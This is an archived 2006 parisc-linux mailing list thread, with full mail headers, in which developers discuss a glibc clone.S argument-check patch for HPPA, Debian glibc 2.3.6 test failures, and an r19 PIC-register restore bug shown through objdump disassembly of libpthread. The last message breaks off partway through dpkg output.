	Sun, 26 Mar 2006 20:00:07 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.12) Gecko/20060205 Debian/1.7.12-1.1
X-Accept-Language: en
In-Reply-To: <119aab440603251126s3a599718n32759d5ed0dcd8c0@mail.gmail.com>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: gu4TcAIARkkei6uPfGRqamFmdWkvKNMF
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23497



Carlos O'Donell wrote:
>>PS: when I will revert this hunk, do you think reasonable that I send the patch to Aurelien to insert it in debian pkg?
> 
> 
> No, post again for review. The whole patch please.
> 
No pb here it is:
--- glibc-2.3.6/sysdeps/unix/sysv/linux/hppa/clone.S.orig2      2006-03-24 09:11:27.000000000 +0000
+++ glibc-2.3.6/sysdeps/unix/sysv/linux/hppa/clone.S    2006-03-26 10:20:13.000000000 +0000
@@ -45,6 +45,14 @@

          .text
  ENTRY(__clone)
+    /* this proto do: stw rp, -20(sp) */
+       /* FIXME: I have no idea how profiling works on hppa. */
+
+       /* Sanity check arguments.  */
+       comib,=         0, %arg0, .Larg_error   /* no NULL function pointers */
+       ldi             -EINVAL, %ret0
+       comib,=         0, %arg1, .Larg_error   /* no NULL stack pointers */
+       nop

         /* Save the fn ptr and arg on the new stack.  */
         stwm            %arg0, 64(%arg1)
@@ -94,13 +102,35 @@
  #endif
         /* Set errno */
         copy            %ret0, %r3
-       b               __syscall_error
+       bl              __syscall_error, %rp
         sub             %r0, %ret0, %arg0
         copy            %r3, %ret0
         /* Return after setting errno */
+       /* Restore rp from ENTRY() */
+       ldw             -84(%sp), %rp
         bv              %r0(%rp)
         ldwm            -64(%sp), %r3

+.Larg_error:
+
+       /* Save arg0: the fn ptr.  */
+       stw             %arg0, -36(%sp)
+       /* Save the PIC register? */
+       stwm            %r3, 64(%sp)
+
+       /* Set errno */
+       copy            %ret0, %r3
+       bl              __syscall_error, %rp
+       sub             %r0, %ret0, %arg0
+
+       /* Restore arg0: the fn ptr.  */
+       ldw             -100(%sp), %arg0
+       /* Return after setting errno */
+       /* Restore rp from ENTRY() */
+       ldw             -84(%sp), %rp
+       bv              %r0(%rp)
+       ldwm            -64(%sp), %r3
+
  thread_start:

         /* Load up the arguments.  */
===<>====

clone04 still works fine ;-)

mmm still have many questions (for so few insn):
     1/ what's the role of this mistery r3? (see comment)

     2/ is it the right palce to save 'stw %arg0, -36(%sp)' (I grab it from some other of your src)?

     3/ though, may be finaly better 'stw %arg0, -100(%sp)' after 'stwm %r3, 64(%sp)'?

     3/ can I get rid of save/restore of arg0?


Thanks again for your attention,
     Joel


PS: I still got the same 'Error' as buildd:
   # tail -f glibc-2.3.6-4.2 | grep Err
make[3]: *** [/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/localedata/sort-test.out] Error 1
make[2]: *** [localedata/tests] Error 2
make[3]: *** [/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/math/test-float.out] Error 1
make[3]: *** [/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/math/test-double.out] Error 1
make[3]: *** [/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/math/test-idouble.out] Error 1
make[2]: *** [math/tests] Error 2
make[3]: *** [/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/posix/tst-rxspencer.out] Error 139
make[3]: [/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/posix/annexc.out] Error 1 (ignored)
make[2]: *** [posix/tests] Error 2
make[3]: *** [/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/linuxthreads/tst-attr1.out] Error 1
make[2]: *** [linuxthreads/tests] Error 2
make[3]: *** [/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/rt/tst-timer.out] Error 137
make[3]: *** [/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/rt/tst-aio4.out] Error 1
make[3]: *** [/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/rt/tst-timer4.out] Error 1
make[2]: *** [rt/tests] Error 2
make[3]: *** [/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/elf/tst-tls13.out] Error 1
make[2]: *** [elf/tests] Error 2
make[1]: *** [check] Error 2

So it doesn't seems to introduce regressions?

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: linux-2.6 deller (ioremap-changes) and more
Date: Sun, 26 Mar 2006 18:09:22 +0000
Lines: 27
Approved: news@gmane.org
Message-ID: <4426D8D2.8040209@tiscali.be>
References: <e6eae0290603251932l142222f2n@mail.gmail.com>	<20060326040516.GA27713@hiauly1.hia.nrc.ca> <200603261858.56874.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624031 18682 80.91.229.3 (22 Nov 2014 02:40:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:31 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 John David Anglin <dave@hiauly1.hia.nrc.ca>,
 Matthias Klose <doko@cs.tu-berlin.de>
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <soete.joel@tiscali.be>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Mar 2006 18:09:26 -0000
Original-Received: from oola.is.scarlet.be (EHLO oola.is.scarlet.be) [193.74.71.23]
  by mx0.gmx.net (mx023) with SMTP; 26 Mar 2006 20:09:26 +0200
Original-Received: from (ip-62-235-234-54.dial.scarlet.be [62.235.234.54]) 
	by oola.is.scarlet.be  with ESMTP id k2QI9Nx30916; 
	Sun, 26 Mar 2006 20:09:23 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20060205 Debian/1.7.12-1.1
X-Accept-Language: en
In-Reply-To: <200603261858.56874.deller@gmx.de>
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 5KITLJ8jZDI47rHGdWY2OGRxemhmY4Ek
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23498

Hello Matthias,

Helge Deller wrote:
> On Sunday 26 March 2006 06:05, John David Anglin wrote:
> 
>>>Regarding the segfault, I can't help you there ... although I have seen many
>>>applications not longer working on my Debian/testing system lately
>>>(segfault, 'unresolvable relocation error 0x42' most of the time).
>>
>>This should be fixed in libc6 2.3.6-3 which has support for the above
>>relocation.  If it's still occurring, there needs to be a new bug report.
>>In the situations that I've seen the relocations are coming from
>>/usr/lib/Scrt1.o when pie code is being used.
> 
> 
> Hi Dave,
> 
> I'm running libc6-2.3.6-4 and see some strange crashes. Might it be related, or does  2.3.6-4 doesn't includes your fix ?
> 
Do you know in which gcc-4.0 dpkg release the jda patch 
(<http://lists.parisc-linux.org/pipermail/parisc-linux/2006-March/028548.html>) was in?
I can so check in buildd with which compiler this new glibc-2.3.6-4 was build ;-)

TIA,
	Joel



From - Thu Nov 08 21:34:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: linux-2.6 deller (ioremap-changes) and more
Date: Sun, 26 Mar 2006 14:06:07 -0500 (EST)
Lines: 20
Approved: news@gmane.org
Message-ID: <200603261906.k2QJ673c007796@hiauly1.hia.nrc.ca>
References: <4426D8D2.8040209@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624031 18685 80.91.229.3 (22 Nov 2014 02:40:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:31 +0000 (UTC)
Cc: deller@gmx.de,
 parisc-linux@lists.parisc-linux.org
To: soete.joel@tiscali.be (Joel Soete)
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <dave@hiauly1.hia.nrc.ca>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Mar 2006 19:06:10 -0000
Original-Received: from hiauly1.hia.nrc.ca (EHLO hiauly1.hia.nrc.ca) [132.246.100.193]
  by mx0.gmx.net (mx031) with SMTP; 26 Mar 2006 21:06:10 +0200
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id k2QJ67Sq007798;
	Sun, 26 Mar 2006 14:06:08 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id k2QJ673c007796;
	Sun, 26 Mar 2006 14:06:07 -0500 (EST)
In-Reply-To: <4426D8D2.8040209@tiscali.be> from "Joel Soete" at Mar 26, 2006 06:09:22 pm
X-Mailer: ELM [version 2.4 PL25]
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Ro9DBYgsfW4orOWveGVodW5mdmllckXX
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23499

> > I'm running libc6-2.3.6-4 and see some strange crashes. Might it be related, or does  2.3.6-4 doesn't includes your fix ?

2.3.6-4 should have the glibc fix...

> Do you know in which gcc-4.0 dpkg release the jda patch 
> (<http://lists.parisc-linux.org/pipermail/parisc-linux/2006-March/028548.html>) was in?
> I can so check in buildd with which compiler this new glibc-2.3.6-4 was build ;-)

As far as GCC goes, the fix is now in all 4.x branches but not in 3.4.
I'm not sure about the debian status.  I believe that Matthias integrated
the change but there was a regression due to a missing glibc patch
needed to prevent a SIGSEGV in the unwind code.  Matthias said this
problem was fixed on March 20.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)



From - Thu Nov 08 21:34:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: linux-2.6 deller (ioremap-changes) and more
Date: Sun, 26 Mar 2006 14:29:59 -0500 (EST)
Lines: 46
Approved: news@gmane.org
Message-ID: <200603261929.k2QJTx40007895@hiauly1.hia.nrc.ca>
References: <200603261906.k2QJ673c007796@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624031 18686 80.91.229.3 (22 Nov 2014 02:40:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:31 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Mar 2006 19:30:10 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx075) with SMTP; 26 Mar 2006 21:30:10 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 307D87D762;
	Sun, 26 Mar 2006 12:30:08 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13581-06; Sun, 26 Mar 2006 12:30:08 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BF6667D75B;
	Sun, 26 Mar 2006 12:30:06 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4CAC37D758
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Mar 2006 12:30:04 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13581-03 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Mar 2006 12:30:03 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 8367A7D756
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Mar 2006 12:30:03 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	k2QJU0Sq007896; Sun, 26 Mar 2006 14:30:01 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id k2QJTx40007895;
	Sun, 26 Mar 2006 14:29:59 -0500 (EST)
In-Reply-To: <200603261906.k2QJ673c007796@hiauly1.hia.nrc.ca> from "John David
	Anglin" at Mar 26, 2006 02:06:07 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: kJ9DNBELZCEXvbGPamwhd2FwIGhpZQZs
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23500

> I'm not sure about the debian status.  I believe that Matthias integrated
> the change but there was a regression due to a missing glibc patch
> needed to prevent a SIGSEGV in the unwind code.  Matthias said this
> problem was fixed on March 20.

2.3.6-3 does't have the fix:

dave@hiauly6:~$ objdump -d /lib/libpthread.so.0
/lib/libpthread.so.0:     file format elf32-hppa-linux

Disassembly of section .init:

000041ac <_init>:
    41ac:       6b c2 3f d9     stw rp,-14(sp)
    41b0:       6f c4 00 80     stw,ma r4,40(sp)
    41b4:       6b d3 3f c1     stw r19,-20(sp)
    41b8:       e8 42 02 a0     b,l 8310 <__pthread_initialize_minimal>,rp
    41bc:       08 13 02 44     copy r19,r4
    41c0:       08 04 02 53     copy r4,r19
    41c4:       e8 40 0c 70     b,l 4804 <frame_dummy>,rp
    41c8:       08 00 02 40     nop
    41cc:       e8 44 1d 2c     b,l e068 <__do_global_ctors_aux>,rp
    41d0:       08 00 02 40     nop
    41d4:       4b c2 3f 59     ldw -54(sp),rp
    41d8:       08 04 02 53     copy r4,r19
    41dc:       e8 40 c0 00     bv r0(rp)

000041e0 <_end_init>:
    41e0:       4f c4 3f 81     ldw,mb -40(sp),r4

This .init section isn't built correctly in shared libraries.  The
PIC register r19 needs to be retored after every call if it is
subsequently used.  As can be seen above, there is no restore after
the call to frame_dummy and r19 is needed for the call to
__do_global_ctors_aux.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: linux-2.6 deller (ioremap-changes) and more
Date: Sun, 26 Mar 2006 14:40:51 -0500 (EST)
Lines: 14
Approved: news@gmane.org
Message-ID: <200603261940.k2QJepFE007977@hiauly1.hia.nrc.ca>
References: <200603261858.56874.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624031 18688 80.91.229.3 (22 Nov 2014 02:40:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:31 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: deller@gmx.de (Helge Deller)
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <dave@hiauly1.hia.nrc.ca>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Mar 2006 19:40:59 -0000
Original-Received: from hiauly1.hia.nrc.ca (EHLO hiauly1.hia.nrc.ca) [132.246.100.193]
  by mx0.gmx.net (mx038) with SMTP; 26 Mar 2006 21:40:59 +0200
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id k2QJeqSq007978;
	Sun, 26 Mar 2006 14:40:52 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id k2QJepFE007977;
	Sun, 26 Mar 2006 14:40:51 -0500 (EST)
In-Reply-To: <200603261858.56874.deller@gmx.de> from "Helge Deller" at Mar 26, 2006 06:58:56 pm
X-Mailer: ELM [version 2.4 PL25]
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: fNYTcNk4Rkkei6uPfGRqamFmdWkvKJOi
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23501

> I'm running libc6-2.3.6-4 and see some strange crashes. Might it be related, or does  2.3.6-4 doesn't includes your fix ?

Don't know.  Note the r19 bug and the dynamic loader relocation bug
are completely different bugs.  It's easy to see the r19 bug by looking
at the .init section of shared libraries as shown in my previous
message.  A backtrace would also help to see where the SEGV is
occuring.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)



From - Thu Nov 08 21:34:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: linux-2.6 deller (ioremap-changes) and more
Date: Mon, 27 Mar 2006 06:46:00 +0100
Lines: 95
Approved: news@gmane.org
Message-ID: <IWRUOO$5330BBF8C58E5D93EB8E702EE1864A91@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624032 18696 80.91.229.3 (22 Nov 2014 02:40:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:32 +0000 (UTC)
Cc: dave <dave@hiauly1.hia.nrc.ca>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "dave" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Mar 2006 05:46:13 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx066) with SMTP; 27 Mar 2006 07:46:13 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A8B317D6F8;
	Sun, 26 Mar 2006 22:46:10 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17646-09; Sun, 26 Mar 2006 22:46:10 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 491217D69D;
	Sun, 26 Mar 2006 22:46:09 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DA0B07D75E
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Mar 2006 22:46:05 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17438-09 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Mar 2006 22:46:05 -0700 (MST)
Original-Received: from xizor.is.scarlet.be (xizor.is.scarlet.be [193.74.71.21])
	by free.linux.hp.com (Postfix) with ESMTP id BF9437D75B
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Mar 2006 22:46:04 -0700 (MST)
Original-Received: from (everest.is.scarlet.be [193.74.71.40]) 
	by xizor.is.scarlet.be  with ESMTP id k2R5jxM20550; 
	Mon, 27 Mar 2006 07:46:00 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: HksScAAtTiEtoqyUaGRwenF1ZUVSRFeX
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23502

> > I'm not sure about the debian status.  I believe that Matthias integr=
ated
> > the change but there was a regression due to a missing glibc patch
> > needed to prevent a SIGSEGV in the unwind code.  Matthias said this
> > problem was fixed on March 20.
> 
> 2.3.6-3 does't have the fix:
> 
> dave@hiauly6:~$ objdump -d /lib/libpthread.so.0
> /lib/libpthread.so.0:     file format elf32-hppa-linux
> 
> Disassembly of section .init:
> 
> 000041ac <_init>:
>     41ac:       6b c2 3f d9     stw rp,-14(sp)
>     41b0:       6f c4 00 80     stw,ma r4,40(sp)
>     41b4:       6b d3 3f c1     stw r19,-20(sp)
>     41b8:       e8 42 02 a0     b,l 8310 <__pthread_initialize_minimal>=
,rp
>     41bc:       08 13 02 44     copy r19,r4
>     41c0:       08 04 02 53     copy r4,r19
>     41c4:       e8 40 0c 70     b,l 4804 <frame_dummy>,rp
>     41c8:       08 00 02 40     nop
>     41cc:       e8 44 1d 2c     b,l e068 <__do_global_ctors_aux>,rp
>     41d0:       08 00 02 40     nop
>     41d4:       4b c2 3f 59     ldw -54(sp),rp
>     41d8:       08 04 02 53     copy r4,r19
>     41dc:       e8 40 c0 00     bv r0(rp)
> 
> 000041e0 <_end_init>:
>     41e0:       4f c4 3f 81     ldw,mb -40(sp),r4
> 
> This .init section isn't built correctly in shared libraries.  The
> PIC register r19 needs to be retored after every call if it is
> subsequently used.  As can be seen above, there is no restore after
> the call to frame_dummy and r19 is needed for the call to
> __do_global_ctors_aux.
> 
mmm not yet in 2.3.6-4:
# objdump -d /lib/libpthread.so.0 | more

/lib/libpthread.so.0:     file format elf32-hppa-linux

Disassembly of section .init:

000041ac <_init>:
    41ac:       6b c2 3f d9     stw rp,-14(sp)
    41b0:       6f c4 00 80     stw,ma r4,40(sp)
    41b4:       6b d3 3f c1     stw r19,-20(sp)
    41b8:       e8 42 02 a0     b,l 8310 <__pthread_initialize_minimal>,r=
p
    41bc:       08 13 02 44     copy r19,r4
    41c0:       08 04 02 53     copy r4,r19
    41c4:       e8 40 0c 70     b,l 4804 <frame_dummy>,rp
    41c8:       08 00 02 40     nop
    41cc:       e8 44 1d 2c     b,l e068 <__do_global_ctors_aux>,rp
    41d0:       08 00 02 40     nop
    41d4:       4b c2 3f 59     ldw -54(sp),rp
    41d8:       08 04 02 53     copy r4,r19
    41dc:       e8 40 c0 00     bv r0(rp)

000041e0 <_end_init>:
    41e0:       4f c4 3f 81     ldw,mb -40(sp),r4
Disassembly of section .text:
=3D=3D=3D=3D<>=3D=3D=3D=3D

and the same with my testing 2.3.6-4.1 build with gcc dpkg:
dpkg -l gcc-4.0
Desired=3DUnknown/Install/Remove/Purge/Hold
| Status=3DNot/Installed/Config-files/Unpacked/Failed-config/Half-install=
ed
|/ Err?=3D(none)/Hold/Reinst-required/X=3Dboth-problems (Status,Err: uppe=
rcase=3Dbad)
||/ Name                        Version                     Description
